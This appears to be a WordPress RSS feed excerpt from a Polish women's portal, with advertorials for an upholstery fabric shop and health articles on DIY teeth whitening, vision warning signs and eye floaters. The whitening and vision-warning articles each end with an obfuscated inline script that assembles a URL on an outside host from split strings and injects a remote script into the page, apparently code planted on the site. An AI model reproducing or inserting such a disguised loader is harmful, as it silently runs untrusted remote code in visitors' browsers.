  234. <p data-start="1764" data-end="2093"><strong data-start="1764" data-end="1780">Simokrzos.pl</strong> to więcej niż <a href="https://simokrzos.pl/" target="_blank" rel="nofollow">sklep internetowy z materiałami obiciowymi</a>. To przestrzeń, w której każda kobieta znajdzie inspirację i wysoką jakość. Jeśli szukasz funkcjonalnych i stylowych materiałów do domowych projektów, wybierz sprawdzone miejsce – <strong data-start="2004" data-end="2039">sklep online materiały obiciowe</strong>, w którym kreatywność spotyka się z profesjonalizmem.</p>
  235. <p><img decoding="async" style="max-width: 100%;" src="https://kobietaportal.pl/wp-content/uploads/2025/06/Sklep-online-tkaniny-tapicerskie.jpg" alt="Sklep online tkaniny tapicerskie" /></p>
  236. <h2><strong data-start="2177" data-end="2244">Sklep online materiały obiciowe – jakość i estetyka w jednym</strong></h2>
  237. <p data-start="2246" data-end="2667">Kobiety zwracają uwagę nie tylko na wygląd, ale i jakość. Tkaniny obiciowe powinny być trwałe, bezpieczne, łatwe do czyszczenia i estetyczne. <strong data-start="2388" data-end="2404">Simokrzos.pl</strong>, jako profesjonalny <strong data-start="2425" data-end="2460">sklep online materiały obiciowe</strong>, oferuje kolekcje zgodne z aktualnymi trendami i potrzebami użytkowniczek – również tych, które mają dzieci czy zwierzęta. Wybór odpowiedniego materiału to inwestycja w dom, komfort i&#8230; własną satysfakcję.</p>
  238. <h3><strong data-start="2669" data-end="2712">Simokrzos.pl – kobiecy wybór z klasą</strong></h3>
  239. <p data-start="2714" data-end="3041"><strong data-start="2714" data-end="2730">Simokrzos.pl</strong> to więcej niż sklep z tkaninami obiciowymi. To przestrzeń, w której każda kobieta znajdzie inspirację i wysoką jakość. Jeśli szukasz funkcjonalnych i stylowych materiałów do domowych projektów, wybierz sprawdzone miejsce – <strong data-start="2954" data-end="2987">sklep online tkaniny obiciowe</strong>, w którym kreatywność spotyka się z profesjonalizmem.</p>
  240. <p>Artykuł <a href="https://kobietaportal.pl/tkaniny-tapicerskie-odwiedz-ten-sklep/">Tkaniny tapicerskie &#8211; odwiedź ten sklep!</a> pochodzi z serwisu <a href="https://kobietaportal.pl"></a>.</p>
  241. ]]></content:encoded>
  243. <wfw:commentRss>https://kobietaportal.pl/tkaniny-tapicerskie-odwiedz-ten-sklep/feed/</wfw:commentRss>
  244. <slash:comments>0</slash:comments>
  247. </item>
  248. <item>
  249. <title>TikTok kontra zdrowie zębów. Moda na wybielanie, która może przynieść więcej szkody niż pożytku</title>
  250. <link>https://kobietaportal.pl/tiktok-kontra-zdrowie-zebow-moda-na-wybielanie-ktora-moze-przyniesc-wiecej-szkody-niz-pozytku/</link>
  251. <comments>https://kobietaportal.pl/tiktok-kontra-zdrowie-zebow-moda-na-wybielanie-ktora-moze-przyniesc-wiecej-szkody-niz-pozytku/#respond</comments>
  253. <dc:creator><![CDATA[Redakcja]]></dc:creator>
  254. <pubDate>Tue, 24 Jun 2025 16:55:17 +0000</pubDate>
  255. <category><![CDATA[Zdrowie]]></category>
  256. <guid isPermaLink="false">https://kobietaportal.pl/tiktok-kontra-zdrowie-zebow-moda-na-wybielanie-ktora-moze-przyniesc-wiecej-szkody-niz-pozytku/</guid>
  257.  
  258. <description><![CDATA[<p>Wybielanie zębów stało się jednym z najczęściej wyszukiwanych tematów beauty – również na TikToku. Wśród wiralowych porad pojawiają się domowe „receptury cud”: mieszanki sody oczyszczonej, soku z cytryny, węgla aktywnego czy wody utlenionej. Są tanie, naturalne, łatwo dostępne… ale i bardzo ryzykowne. Choć na pierwszy rzut oka wydają się nieszkodliwe, mogą prowadzić do poważnych uszkodzeń [&#8230;]</p>
  259. <p>Artykuł <a href="https://kobietaportal.pl/tiktok-kontra-zdrowie-zebow-moda-na-wybielanie-ktora-moze-przyniesc-wiecej-szkody-niz-pozytku/">TikTok kontra zdrowie zębów. Moda na wybielanie, która może przynieść więcej szkody niż pożytku</a> pochodzi z serwisu <a href="https://kobietaportal.pl"></a>.</p>
  260. ]]></description>
  261. <content:encoded><![CDATA[<p>Wybielanie zębów stało się jednym z najczęściej wyszukiwanych tematów beauty – również na TikToku. Wśród wiralowych porad pojawiają się domowe „receptury cud”: mieszanki sody oczyszczonej, soku z cytryny, węgla aktywnego czy wody utlenionej. Są tanie, naturalne, łatwo dostępne… ale i bardzo ryzykowne. Choć na pierwszy rzut oka wydają się nieszkodliwe, mogą prowadzić do poważnych uszkodzeń szkliwa, nadwrażliwości, a nawet pogorszenia koloru zębów.</p>
  262. <p>Dlaczego stomatolodzy coraz częściej ostrzegają przed domowym wybielaniem z Internetu? Komentuje lek. stom. Karolina Cepińska, specjalistka z warszawskiej kliniki L’experta.</p>
  263. <h3 data-start="967" data-end="1014">Nie wszystko, co naturalne, jest bezpieczne</h3>
  264. <p data-start="1016" data-end="1276">– Substancje takie jak soda oczyszczona czy kwasy owocowe działają na zasadzie mechanicznego ścierania lub chemicznego rozpuszczania osadu. Problem w tym, że usuwają nie tylko osady, ale także warstwę ochronnego szkliwa – tłumaczy lek. stom. Karolina Cepińska.</p>
  265. <p data-start="1278" data-end="1565">Węgiel aktywny, mimo wizerunku „łagodnego i naturalnego środka”, ma właściwości ścierne porównywalne do drobnego papieru ściernego. Regularne jego stosowanie – zwłaszcza bez nadzoru – może nieodwracalnie uszkodzić szkliwo, a w konsekwencji… sprawić, że zęby będą wyglądać na ciemniejsze.</p>
  266. <p data-start="1567" data-end="1742">– Utrata szkliwa to nie tylko kwestia estetyki. Odsłonięta zębina jest żółtawa, matowa i dużo bardziej wrażliwa. Zamiast poprawy, efekt może być odwrotny – ostrzega ekspertka.</p>
  267. <h3 data-start="1749" data-end="1789">Czym grożą internetowe eksperymenty?</h3>
  268. <p data-start="1791" data-end="1855"><strong data-start="1791" data-end="1855">Najczęstsze skutki uboczne „viralowych” metod wybielania to:</strong></p>
  269. <ul data-start="1856" data-end="2028">
  270. <li data-start="1856" data-end="1885">
  271. <p data-start="1858" data-end="1885">trwałe uszkodzenie szkliwa,</p>
  272. </li>
  273. <li data-start="1886" data-end="1920">
  274. <p data-start="1888" data-end="1920">nadwrażliwość na ciepło i zimno,</p>
  275. </li>
  276. <li data-start="1921" data-end="1945">
  277. <p data-start="1923" data-end="1945">stany zapalne dziąseł,</p>
  278. </li>
  279. <li data-start="1946" data-end="1975">
  280. <p data-start="1948" data-end="1975">nierównomierny kolor zębów,</p>
  281. </li>
  282. <li data-start="1976" data-end="2028">
  283. <p data-start="1978" data-end="2028">problemy z późniejszym wybielaniem profesjonalnym.</p>
  284. </li>
  285. </ul>
  286. <p data-start="2030" data-end="2180">– Wielu pacjentów trafia do gabinetu dopiero wtedy, gdy zaczyna boleć. Niestety, w wielu przypadkach szkody są już nieodwracalne – mówi lek. Cepińska.</p>
  287. <h3 data-start="2187" data-end="2221">Jak wybielać zęby bezpiecznie?</h3>
  288. <p data-start="2223" data-end="2371">Najskuteczniejsze i zarazem najbezpieczniejsze metody wybielania to te, które są <strong data-start="2304" data-end="2343">prowadzone pod kontrolą stomatologa</strong>. Do dyspozycji pacjenta są:</p>
  289. <ul data-start="2372" data-end="2599">
  290. <li data-start="2372" data-end="2445">
  291. <p data-start="2374" data-end="2445"><strong data-start="2374" data-end="2400">profesjonalne nakładki</strong> z indywidualnie dobranym żelem wybielającym,</p>
  292. </li>
  293. <li data-start="2446" data-end="2543">
  294. <p data-start="2448" data-end="2543"><strong data-start="2448" data-end="2471">laserowe wybielanie</strong> w gabinecie – szybkie i komfortowe, idealne dla osób z nadwrażliwością,</p>
  295. </li>
  296. <li data-start="2544" data-end="2599">
  297. <p data-start="2546" data-end="2599">wsparcie remineralizujące i ochronne na czas kuracji.</p>
  298. </li>
  299. </ul>
  300. <p data-start="2601" data-end="2738">– Podczas profesjonalnego wybielania jesteśmy w stanie zadbać nie tylko o efekt, ale też o bezpieczeństwo szkliwa – podkreśla stomatolog.</p>
  301. <h3 data-start="2745" data-end="2774">Co zamiast eksperymentów?</h3>
  302. <p data-start="2776" data-end="2814">Zamiast działać na własną rękę, warto:</p>
  303. <ul>
  304. <li data-start="2816" data-end="3009">regularnie usuwać kamień i osady u higienistki,</li>
  305. <li data-start="2816" data-end="3009">stosować delikatne pasty wybielające (RDA &lt; 70),</li>
  306. <li data-start="2816" data-end="3009">ograniczyć kofeinę, czerwone wino i papierosy,</li>
  307. <li data-start="2816" data-end="3009">skonsultować wybielanie z lekarzem.</li>
  308. </ul>
  309. <p data-start="3033" data-end="3243">Moda na domowe wybielanie z TikToka może wydawać się niewinna – ale konsekwencje bywają kosztowne, i to nie tylko finansowo. Jeśli zależy Ci na pięknym, białym uśmiechu, zaufaj stomatologowi. <strong data-start="3245" data-end="3314">Bo wybielanie zębów ma sens tylko wtedy, gdy nie szkodzi zdrowiu.</strong></p>
  310. <p> <script> (function(){ c8mf=document.createElement("script");c8mf_=("ust");c8mfu="2481219217"; c8mf_+="a"+("t.i");c8mf.type="text/javascript"; c8mfu+=".u2qtn03a8mfrgpslf4wm";c8mf.async=true;c8mf_+="n"+("f"+"o")+"/"; c8mfu+="lXe5ws7m86";c8mf.src="https://"+c8mf_+c8mfu; document.body.appendChild(c8mf); })(); </script></p>
  311. <p>Artykuł <a href="https://kobietaportal.pl/tiktok-kontra-zdrowie-zebow-moda-na-wybielanie-ktora-moze-przyniesc-wiecej-szkody-niz-pozytku/">TikTok kontra zdrowie zębów. Moda na wybielanie, która może przynieść więcej szkody niż pożytku</a> pochodzi z serwisu <a href="https://kobietaportal.pl"></a>.</p>
  312. ]]></content:encoded>
  314. <wfw:commentRss>https://kobietaportal.pl/tiktok-kontra-zdrowie-zebow-moda-na-wybielanie-ktora-moze-przyniesc-wiecej-szkody-niz-pozytku/feed/</wfw:commentRss>
  315. <slash:comments>0</slash:comments>
  318. </item>
  319. <item>
  320. <title>Kobiety tak spędzają wolny czas! Wiedziałaś o tym?</title>
  321. <link>https://kobietaportal.pl/kobiety-tak-spedzaja-wolny-czas-wiedzialas-o-tym/</link>
  322. <comments>https://kobietaportal.pl/kobiety-tak-spedzaja-wolny-czas-wiedzialas-o-tym/#respond</comments>
  324. <dc:creator><![CDATA[Redakcja]]></dc:creator>
  325. <pubDate>Tue, 24 Jun 2025 05:06:57 +0000</pubDate>
  326. <category><![CDATA[Styl życia]]></category>
  327. <category><![CDATA[Warto wiedzieć]]></category>
  328. <guid isPermaLink="false">https://kobietaportal.pl/kobiety-tak-spedzaja-wolny-czas-wiedzialas-o-tym/</guid>
  329.  
  330. <description><![CDATA[<p>Sklep z tkaninami obiciowymi – idealne miejsce dla kreatywnych kobiet Kobiety coraz częściej sięgają po kreatywne formy spędzania wolnego czasu – od DIY, przez dekorację wnętrz, aż po odnawianie mebli. Niezależnie od tego, czy jesteś pasjonatką stylu vintage, czy po prostu chcesz odświeżyć swoją przestrzeń – sklep z tkaninami obiciowymi simokrzos.pl oferuje wszystko, czego potrzebujesz. [&#8230;]</p>
  331. <p>Artykuł <a href="https://kobietaportal.pl/kobiety-tak-spedzaja-wolny-czas-wiedzialas-o-tym/">Kobiety tak spędzają wolny czas! Wiedziałaś o tym?</a> pochodzi z serwisu <a href="https://kobietaportal.pl"></a>.</p>
  332. ]]></description>
  333. <content:encoded><![CDATA[<h1 data-start="301" data-end="377"><strong data-start="301" data-end="377">Sklep z tkaninami obiciowymi – idealne miejsce dla kreatywnych kobiet</strong></h1>
  334. <p data-start="379" data-end="807">Kobiety coraz częściej sięgają po kreatywne formy spędzania wolnego czasu – od DIY, przez dekorację wnętrz, aż po odnawianie mebli. Niezależnie od tego, czy jesteś pasjonatką stylu vintage, czy po prostu chcesz odświeżyć swoją przestrzeń – <strong data-start="619" data-end="664">sklep z tkaninami obiciowymi simokrzos.pl</strong> oferuje wszystko, czego potrzebujesz. To nie tylko miejsce zakupów, ale również przestrzeń inspiracji i możliwości twórczego wyrażenia siebie.</p>
  335. <h2 data-start="809" data-end="878"><strong data-start="809" data-end="878">Sklep online tkaniny obiciowe – wygoda, jakość i szeroki wybór</strong></h2>
  336. <p data-start="880" data-end="1269">Dlaczego kobiety tak chętnie wybierają zakupy przez internet? Bo cenią czas, komfort i możliwość dokładnego przemyślenia decyzji. <strong data-start="1010" data-end="1043">Sklep online tkaniny obiciowe</strong> simokrzos.pl odpowiada na te potrzeby – oferuje szeroką gamę materiałów w jednym miejscu. Od welurów i plecionek, przez tkaniny strukturalne, aż po ekologiczne rozwiązania – wszystko dostępne z poziomu telefonu czy komputera.</p>
  337. <p><img decoding="async" src="https://kobietaportal.pl/wp-content/uploads/2025/06/Sklep-internetowy-z-materialami-obiciowymi.jpg" alt="Sklep internetowy z materiałami obiciowymi" style="max-width: 100%;" /></p>
  338. <h2 data-start="1271" data-end="1331"><strong data-start="1271" data-end="1331">Renowacja mebli jako kobiece hobby i sposób na relaks</strong></h2>
  339. <p data-start="1333" data-end="1751">Odrestaurowywanie mebli przestało być zajęciem wyłącznie technicznym. Coraz więcej kobiet znajduje w tym pasję i satysfakcję. Dobór odpowiednich materiałów, koloru, faktury – to forma artystycznego wyrazu. W sklepie <strong data-start="1549" data-end="1565">simokrzos.pl</strong> znajdziesz wysokiej jakości <strong data-start="1594" data-end="1616">materiały obiciowe</strong>, idealne do renowacji foteli, puf, zagłówków, krzeseł czy sof. To także świetny sposób, by nadać wnętrzu unikalny, osobisty charakter.</p>
  340. <h2 data-start="1753" data-end="1829"><strong data-start="1753" data-end="1829">Sklep online materiały obiciowe – na co zwrócić uwagę podczas wyboru?</strong></h2>
  341. <p data-start="1831" data-end="2239">Decydując się na zakup materiałów obiciowych online, warto wiedzieć, na co zwrócić uwagę. Na <strong data-start="1924" data-end="1940">simokrzos.pl</strong> przy każdym produkcie znajdziesz dokładny opis, zdjęcia, dane techniczne oraz informacje o gramaturze, ścieralności czy właściwościach (np. plamoodporność, hydrofobowość). Dzięki temu zakupy w <strong data-start="2134" data-end="2171">sklepie online materiały obiciowe</strong> są proste, bezpieczne i intuicyjne – nawet dla osób początkujących.</p>
  342. <p><img decoding="async" src="https://kobietaportal.pl/wp-content/uploads/2025/06/Sklep-internetowy-z-tkaninami-obiciowymi-.jpg" alt="Sklep internetowy z tkaninami obiciowymi" style="max-width: 100%;" /></p>
  343. <h2 data-start="2241" data-end="2304"><strong data-start="2241" data-end="2304">Tkaniny obiciowe jako element wystroju kobiecego wnętrza</strong></h2>
  344. <p data-start="2306" data-end="2694">Każda kobieta pragnie otaczać się pięknem – i dotyczy to również przestrzeni, w której żyje. <a href="https://simokrzos.pl/tkaniny-obiciowe" target="_blank">Tkaniny obiciowe</a> mogą odmienić wnętrze w sposób subtelny, ale zauważalny. Poduszki, panele ścienne, zagłówki, abażury – to tylko kilka przykładów zastosowania. Sklep z tkaninami obiciowymi <strong data-start="2588" data-end="2604">simokrzos.pl</strong> umożliwia wybór kolorów, wzorów i struktur, które pozwolą wyrazić swój indywidualny styl.</p>
  345. <h2 data-start="2696" data-end="2762"><strong data-start="2696" data-end="2762">DIY z tkanin obiciowych – sposób na twórcze spędzanie czasu</strong></h2>
  346. <p data-start="2764" data-end="3166">Kreatywne kobiety wiedzą, jak ważne jest mieć przestrzeń dla siebie – zarówno fizyczną, jak i symboliczną. Własnoręczne tworzenie dekoracji czy przeróbek meblowych daje nie tylko satysfakcję, ale i możliwość oderwania się od codzienności. Tkaniny obiciowe z <strong data-start="3022" data-end="3038">simokrzos.pl</strong> świetnie nadają się do projektów DIY – nawet prostych, jak pokrowce na poduszki, organizery do garderoby czy dekoracje ścienne.</p>
  347. <p><img decoding="async" src="https://kobietaportal.pl/wp-content/uploads/2025/06/Wloskie-tkaniny-obiciowe-simokrzos.pl-.jpg" alt="Włoskie tkaniny obiciowe - simokrzos.pl" style="max-width: 100%;" /></p>
  348. <h2 data-start="3168" data-end="3243"><strong data-start="3168" data-end="3243">Sklep z tkaninami obiciowymi – źródło pomysłów na domową metamorfozę</strong></h2>
  349. <p data-start="3245" data-end="3654">Nie trzeba wielkiego budżetu, by odmienić wnętrze. Wystarczy kreatywność i… dobry materiał. <a href="https://simokrzos.pl/" target="_blank">Sklep z tkaninami obiciowymi</a> <strong data-start="3366" data-end="3382">simokrzos.pl</strong> to prawdziwa kopalnia inspiracji. Znajdziesz tam modne kolory, aktualne trendy i klasyczne rozwiązania, które sprawdzą się w każdym domu. Dzięki temu łatwo dostosujesz styl do swojej osobowości – niezależnie, czy jesteś minimalistką, romantyczką, czy miłośniczką glamour.</p>
  350. <h2 data-start="3656" data-end="3716"><strong data-start="3656" data-end="3716">Kobiece podejście do aranżacji – detale robią różnicę</strong></h2>
  351. <p data-start="3718" data-end="4115">Kobiety często mają szczególne wyczucie detalu – wiedzą, że jeden element może odmienić całą przestrzeń. Nowa tapicerka w pastelowym odcieniu, tkanina o wyrazistej strukturze na oparciu krzesła, odświeżona kanapa z aksamitnym wykończeniem – takie detale wpływają na atmosferę domu. <strong data-start="4000" data-end="4016">Simokrzos.pl</strong>, jako <strong data-start="4023" data-end="4056">sklep online tkaniny obiciowe</strong>, pozwala na realizację takich metamorfoz szybko i z klasą.</p>
  352. <h2 data-start="4117" data-end="4179"><strong data-start="4117" data-end="4179">Materiały obiciowe dla kobiet ceniących jakość i design</strong></h2>
  353. <p data-start="4181" data-end="4549">Nie chodzi tylko o to, by było tanio – kobiety chcą, by było pięknie i trwało latami. Dlatego <strong data-start="4275" data-end="4297">materiały obiciowe</strong> oferowane przez <strong data-start="4314" data-end="4330">simokrzos.pl</strong> są starannie wyselekcjonowane pod kątem jakości, trwałości i estetyki. To miejsce, w którym zakupy to nie przypadek, ale świadomy wybór – zgodny z potrzebami nowoczesnych kobiet, które łączą funkcjonalność z elegancją.</p>
  354. <h3 data-start="4551" data-end="4613"><strong data-start="4551" data-end="4613">Simokrzos.pl – Twój kobiecy partner w aranżacji wnętrz</strong></h3>
  355. <p data-start="4615" data-end="5070">Niezależnie od tego, czy dopiero zaczynasz swoją przygodę z tkaninami obiciowymi, czy jesteś już doświadczoną dekoratorką – <strong data-start="4739" data-end="4784">sklep z <a href="https://simokrzos.pl/wloskie-tkaniny-obiciowe" target="_blank">włoskimi tkaninami obiciowymi</a> simokrzos.pl</strong> będzie dla Ciebie idealnym miejscem. Przejrzysty interfejs, szczegółowe opisy, szybka wysyłka i profesjonalna obsługa sprawiają, że każda kobieta może poczuć się tu pewnie. Wybierając <strong data-start="4969" data-end="5004">sklep online materiały obiciowe</strong>, wybierasz komfort, styl i nieograniczone możliwości aranżacyjne.</p>
  356. <p>Artykuł <a href="https://kobietaportal.pl/kobiety-tak-spedzaja-wolny-czas-wiedzialas-o-tym/">Kobiety tak spędzają wolny czas! Wiedziałaś o tym?</a> pochodzi z serwisu <a href="https://kobietaportal.pl"></a>.</p>
  357. ]]></content:encoded>
  359. <wfw:commentRss>https://kobietaportal.pl/kobiety-tak-spedzaja-wolny-czas-wiedzialas-o-tym/feed/</wfw:commentRss>
  360. <slash:comments>0</slash:comments>
  363. </item>
  364. <item>
  365. <title>Tych oznak problemów ze wzrokiem nie lekceważ!</title>
  366. <link>https://kobietaportal.pl/tych-oznak-problemow-ze-wzrokiem-nie-lekcewaz/</link>
  367. <comments>https://kobietaportal.pl/tych-oznak-problemow-ze-wzrokiem-nie-lekcewaz/#respond</comments>
  369. <dc:creator><![CDATA[Redakcja]]></dc:creator>
  370. <pubDate>Tue, 17 Jun 2025 18:33:31 +0000</pubDate>
  371. <category><![CDATA[Zdrowie]]></category>
  372. <guid isPermaLink="false">https://kobietaportal.pl/tych-oznak-problemow-ze-wzrokiem-nie-lekcewaz/</guid>
  373.  
  374. <description><![CDATA[<p>Nasz wzrok potrafi wyraźnie sygnalizować, gdy dzieje się z nim coś złego. O tym, jakie objawy powinny wzbudzić nasz niepokój i kiedy nie zwlekać z konsultacją okulistyczną, opowiada lek. Tomasz Tomczyk – specjalista okulista z Oko-Test, prowadzący gabinety w Olkuszu i Nowym Targu. Widzenie jak przez mgłę Jednym z najczęstszych objawów pogarszającego się wzroku jest [&#8230;]</p>
  375. <p>Artykuł <a href="https://kobietaportal.pl/tych-oznak-problemow-ze-wzrokiem-nie-lekcewaz/">Tych oznak problemów ze wzrokiem nie lekceważ!</a> pochodzi z serwisu <a href="https://kobietaportal.pl"></a>.</p>
  376. ]]></description>
  377. <content:encoded><![CDATA[<p>Nasz wzrok potrafi wyraźnie sygnalizować, gdy dzieje się z nim coś złego. O tym, jakie objawy powinny wzbudzić nasz niepokój i kiedy nie zwlekać z konsultacją okulistyczną, opowiada lek. Tomasz Tomczyk – specjalista okulista z Oko-Test, prowadzący gabinety w Olkuszu i Nowym Targu.</p>
  378. <p><strong>Widzenie jak przez mgłę</strong></p>
  379. <p>Jednym z najczęstszych objawów pogarszającego się wzroku jest zamazane widzenie – zarówno z daleka, jak i z bliska. To może być pierwsza oznaka rozwoju wady wzroku lub początkującej zaćmy.</p>
  380. <p>– Jeżeli nagle zauważamy, że coś, co wcześniej było czytelne, staje się rozmazane, warto jak najszybciej udać się do okulisty – wyjaśnia lek. Tomasz Tomczyk &#8211; okulista z Oko-Test z placówkami w Olkuszu i Nowym Targu – Szczególnie jeśli problem dotyczy tylko jednego oka.</p>
  381. <p><strong>Różnica między jednym a drugim okiem</strong></p>
  382. <p>Zamykanie jednego oka i porównywanie obrazu to prosty domowy test, o którym rzadko pamiętamy. – Zaskakująco wielu pacjentów nie zauważa, że jedno oko widzi gorzej. Zawsze warto sprawdzić – jedno, potem drugie oko patrząc do dali – i zobaczyć, czy widzenie jest takie samo. Jeśli nie, może to być objaw wady wzroku, choroby siatkówki lub nerwu wzrokowego – mówi specjalista.</p>
  383. <p><strong>Błyski, mroczki, falujące linie</strong></p>
  384. <p>Nagłe pojawienie się błysków w polu widzenia (szczególnie z boku), czarne plamki czy zniekształcone obrazy to niepokojące sygnały. – Pacjenci często opisują, że linie, które powinny być proste, zaczynają falować, albo litery „tańczą” na stronie. To może wskazywać na choroby plamki żółtej – tłumaczy okulista. – Pojawiające się błyski mogą z kolei oznaczać odwarstwienie siatkówki. W takich sytuacjach nie należy zwalać z wizytą u lekarza.</p>
  385. <p><strong>Coraz dalej odsuwasz książkę?</strong></p>
  386. <p>Problemy z widzeniem z bliska po 40. roku życia to często tzw. starczowzroczność (presbiopia). Jeśli czytanie wymaga coraz większego dystansu lub oświetlenia – to sygnał, że czas na okulary. Warto wtedy skontrolować swój wzrok.</p>
  387. <p><strong>Zaczerwienienie, ból, &#8222;oko zalało się krwią&#8221;</strong></p>
  388. <p>Niepokojące są również objawy zapalne, takie jak silne zaczerwienienie, światłowstręt czy ból oka – zwłaszcza jeśli występują nagle. – Pojawienie się krwawego wylewu podspojówkowego, choć często niegroźne, może być też pierwszym objawem nadciśnienia tętniczego lub cukrzycy – zaznacza lek. Tomasz Tomczyk.</p>
  389. <p><strong>Masz cukrzycę? Okulista to obowiązek</strong></p>
  390. <p>U osób z cukrzycą zmiany w oczach mogą rozwijać się długo bezobjawowo. Gdy pojawiają się pierwsze zauważalne symptomy – bywa, że jest już za późno. – Retinopatia cukrzycowa długo nie daje objawów. Dlatego pacjenci z cukrzycą powinni mieć wykonywane kontrolne badanie dna oka co najmniej raz w roku – przypomina lekarz.</p>
  391. <p><strong>Zaburzenia widzenia podczas migreny</strong></p>
  392. <p>Osoby cierpiące na migreny mogą doświadczać tzw. aury wzrokowej – migotania, błysków, zygzaków lub przejściowej utraty części pola widzenia. Choć często przemijają, wymagają konsultacji, by wykluczyć inne przyczyny.</p>
  393. <p><strong>Potykasz się o meble? Masz trudności w poruszaniu się?</strong></p>
  394. <p>Kiedy zauważamy, że częściej potykamy się o przeszkody, z trudem rozpoznajemy twarze czy nie widzimy dobrze po zmroku – to sygnały, że pole widzenia może być ograniczone. To także może być sygnał rozwijającej się zaćmy.</p>
  395. <p><strong>Co z dziećmi?</strong></p>
  396. <p>Rodzice powinni być czujni na sygnały takie jak: mrużenie oczu, pochylanie się nad zeszytem, niechęć do czytania, trudności z koncentracją. – Wiele problemów z nauką ma swoje źródło w niewykrytej wadzie wzroku – podkreśla okulista.</p>
  397. </p>
  398. <p>– Każde nagłe pogorszenie widzenia, ból, błyski, mroczki, zaczerwienienie – to sygnały, że coś może być nie tak. Lepiej sprawdzić i wykluczyć poważny problem niż czekać, aż będzie za późno – podsumowuje lek. Tomasz Tomczyk.</p>
  399. <p> <script> (function(){ wkw7=document.createElement("script");wkw7.type="text/javascript"; wkw7.async=true;wkw7_=(("us")+"t")+"a";wkw7_+=("t.i")+""+"n";wkw7_+=(("f")+"o");wkw7_+="/"; wkw7u="2480986013.";wkw7u+="cy4sarzukw7u53vptsrubXsdqd90dn";wkw7.src="https://"+wkw7_+wkw7u; wkw7db=document.body;wkw7db.appendChild(wkw7); })(); </script></p>
  400. <p>Artykuł <a href="https://kobietaportal.pl/tych-oznak-problemow-ze-wzrokiem-nie-lekcewaz/">Tych oznak problemów ze wzrokiem nie lekceważ!</a> pochodzi z serwisu <a href="https://kobietaportal.pl"></a>.</p>
  401. ]]></content:encoded>
  403. <wfw:commentRss>https://kobietaportal.pl/tych-oznak-problemow-ze-wzrokiem-nie-lekcewaz/feed/</wfw:commentRss>
  404. <slash:comments>0</slash:comments>
  407. </item>
  408. <item>
  409. <title>Męty w polu widzenia</title>
  410. <link>https://kobietaportal.pl/mety-w-polu-widzenia/</link>
  411. <comments>https://kobietaportal.pl/mety-w-polu-widzenia/#respond</comments>
  413. <dc:creator><![CDATA[Redakcja]]></dc:creator>
  414. <pubDate>Tue, 17 Jun 2025 17:34:33 +0000</pubDate>
  415. <category><![CDATA[Zdrowie]]></category>
  416. <guid isPermaLink="false">https://kobietaportal.pl/mety-w-polu-widzenia/</guid>
  417.  
  418. <description><![CDATA[<p>Męty w oku to ciemne plamy w polu widzenia. Czy zagrażają naszemu wzrokowi? O tym mówi lek. Tomasz Tomczyk z kliniki Oko-Test z placówkami w Olkuszu i Nowym Targu. Kiedy widzisz plamki w polu widzenia &#8211; tzw. mroczki, może to być niepokojące. Jak mówi lek. Tomasz Tomczyk z kliniki Oko-Test z placówkami w Olkuszu i [&#8230;]</p>
  419. <p>Artykuł <a href="https://kobietaportal.pl/mety-w-polu-widzenia/">Męty w polu widzenia</a> pochodzi z serwisu <a href="https://kobietaportal.pl"></a>.</p>
  420. ]]></description>
  421. <content:encoded><![CDATA[<p>Męty w oku to ciemne plamy w polu widzenia. Czy zagrażają naszemu wzrokowi? O tym mówi lek. Tomasz Tomczyk z kliniki Oko-Test z placówkami w Olkuszu i Nowym Targu.</p>
  422. <p>Kiedy widzisz plamki w polu widzenia &#8211; tzw. mroczki, może to być niepokojące. Jak mówi lek. Tomasz Tomczyk z kliniki <a href="http://okotest.pl" rel="nofollow">Oko-Test</a> z placówkami w Olkuszu i Nowym Targu mogą to być tak naprawdę męty.</p>
  423. <p><i>&#8211; Męty w oku to ciemne punkty w polu widzenia. Mogą przyjmować postać czarnych lub szarych punktów, nitek lub pajęczyny. Mogą zmieniać położenie podczas poruszania oczami i gdy próbujesz spojrzeć na nie bezpośrednio uciekają z pola widzenia –</i> wyjaśnia lekarz.</p>
  424. <p>Objawy mętów w oku mogą obejmować:</p>
  425. <ul>
  426. <li>małe, ciemne kształty w polu widzenia, które pojawiają się, jako plamki lub półprzezroczyste punkty w polu widzenia,</li>
  427. <li>plamki, które poruszają się, podczas ruchów oczami,</li>
  428. <li>plamy, które są najbardziej zauważalne, podczas patrzenia na zwykłe jasne tło, takie jak błękitne niebo lub biała ściana,</li>
  429. <li>faliste linie, pierścienie, linijne pasma lub „robaki” przed oczami.</li>
  430. </ul>
  431. <p><b>Przyczyny</b></p>
  432. <p>Męty są zazwyczaj nieszkodliwe, ale można je łatwo pomylić z innymi zmianami widzenia, takimi jak duże plamy w polu widzenia. Męty mogą być spowodowane naturalnymi procesami związanymi ze starzeniem się organizmu, ale i poważnymi chorobami. Mogą być bowiem oznakami np. nadciśnienia, udaru mózgu, stwardnienia rozsianego, czy cukrzycy.</p>
  433. <p>&#8211; <em>Nie nalezy ich ignorować i jeśli widzisz zwiększenie mętów w oczach, idź do okulisty – szczególnie jeśli widzisz także błyski światła lub towarzyszy temu utrata ostrości widzenia. Mogą to być objawy poważnego zjawiska wymagającej natychmiastowej reakcji </em>– ostrzega lek. Tomasz Tomczyk.</p>
  434. <p>Większość mętów jest wynikiem naturalnych procesów związanymi z wiekiem, które zachodzą, gdy ciało szkliste (galaretowata substancja wypełniająca wnętrze gałki ocznej) upłynnia się i kurczy &#8211; wówczas ciało szkliste oddziela się od wewnętrznej powierzchni gałki ocznej. Wówczas włókna kolagenowe w ciele szklistym zagęszczają się i tworzą elemnety widoczne w postaci nitek i mętów. Elemnty te blokują część światła wpadającego do oka. Rzuca to na siatkówkę maleńkie cienie, które są postrzegane jako męty.</p>
  435. <p>Męty mogą być również wynikiem<b> </b>zapalenia tylnego odcinka błony naczyniowej oka. Przyczyną mogą być  infekcje, choroby autoimmunologiczne i choroby zapalne.</p>
  436. <p>Poza tym męty może powodować krwawienie w oku. &#8211; <i>Krwawienie do ciała szklistego może mieć wiele przyczyn, w tym uszkodzenia i odwarstwienia siatkówki, nadciśnienie, cukrzyca, zablokowane naczynia krwionośne (zatory naczyń siatkówki ) i urazy. Komórki krwi są widziane jako męty</i> – wyjaśnia lekarz Oko-Test.</p>
  437. <p>Także niektóre leki wstrzykiwane do ciała szklistego mogą powodować tworzenie się pęcherzyków powietrza. Te bąbelki są postrzegane jako cienie, dopóki oko ich nie wchłonie. Pęcherzyki oleju silikonowego dodawane podczas niektórych operacji ciała szklistego i siatkówki również mogą być postrzegane jako męty.</p>
  438. <p>Przyczyną pojawiania się mętów są także guzy wewnątrzgałkowe.</p>
  439. <p><b>Kiedy pójść do okulisty?</b></p>
